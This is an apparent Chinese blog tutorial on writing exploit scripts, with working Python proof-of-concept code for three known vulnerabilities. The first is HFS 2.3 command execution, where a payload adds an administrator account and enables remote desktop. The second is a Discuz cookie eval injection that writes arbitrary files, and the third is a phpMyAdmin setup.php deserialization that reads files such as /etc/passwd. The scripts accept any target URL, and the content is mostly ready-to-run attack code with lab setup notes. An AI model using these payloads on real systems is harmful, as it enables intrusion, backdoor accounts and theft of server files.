安全开发-HFS漏洞利用脚本编写
0x01 安全开发-HFS漏洞利用脚本编写下载并在虚拟机2008里面(因为主机防火墙缘故)开启HFS~网络文件服务器 2.3Beta一、攻击准备复制HFS的IP在浏览器中,并且在IP后添加用户exp/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20admin.12345%20/add%20%26%20net%20lo
·
0x01 安全开发-HFS漏洞利用脚本编写
下载并在虚拟机2008里面(因为主机防火墙缘故)开启HFS~网络文件服务器 2.3Beta
一、攻击准备
复制HFS的IP在浏览器中,并且在IP后添加用户exp
/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20admin.12345%20/add%20%26%20net%20localgroup%20administrators%20admin.12345%20/add.%7D
远程设置开启远程连接
然后cmd输入net user查看用户:TechSupport
二、漏洞利用脚本
import requests
url="http://08虚拟机IP(1.130)/"
add_user="/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20comeonbaby%20/add%20%26%20net%20localgroup%20administrators%20TechSupport%20/add.%7D"
open_3389="/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D"
url_adduser=url+add_user
url_open3389=url+open_3389
def adduser():
code=requests.get(url_adduser).status_code
if code==200:
print("adduser success")
else:
print("adduser failed")
def open3389():
code1=requests.get(url_open3389).status_code
if code1==200:
print("open3389 success")
else:
print("open3389 failed")
adduser()
open3389()
运行结果如下:
0x02 discuz+ucenter 漏洞
中的一个POC
import requests
url = input("请输入要检测的网址:")
data = input("请输入要写入的内容:")
file = input("请输入文件的名称:")
urlexp = "viewthread.php?tid=10&extra=page%3D1"+"&x="+"$id=('echo%20"+data+"%20>%20"+file+"');shell_exec($id);"
urlexp1 = url+urlexp
cookie = {"Cookie":"GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_REQUEST[x]);"}
def getshell():
result = requests.get(urlexp1,headers=cookie).status_code
if result == 200:
print("写入文件成功")
print("写入的文件名称为:%s,内容是:%s"%(file,data))
else:
print("写入文件失败")
getshell()
0x03 WooYun-2016-199433漏洞(任意文件读取)
环境:使用vulhub一键搭建漏洞环境(kali中)
步骤一:启动漏洞环境:docker-compose up -d
步骤二:浏览器访问漏洞地址 IP后加/scripts/setup.php
点击以下任意功能键如:Add, 进行抓包。发送repeter 修改action=test&configuration=O:10:“PMA_Config”:1:{s:6:“source”,s:11:"/etc/passwd";} 爆出用户名等信息
poc编写
import requests
filename=input("请输入需要读取的文件路径: ")
url="http://192.168.1.132:8080/scripts/setup.php"
def read_file(filename):
data={'action':'test','configuration':'O:10:"PMA_Config":1:{s:6:"source",s:11:"'+filename+'";}'}
result=requests.post(url,data=data).text
print(result)
read_file(filename)
运行结果如下:
更多推荐
已为社区贡献2条内容
所有评论(0)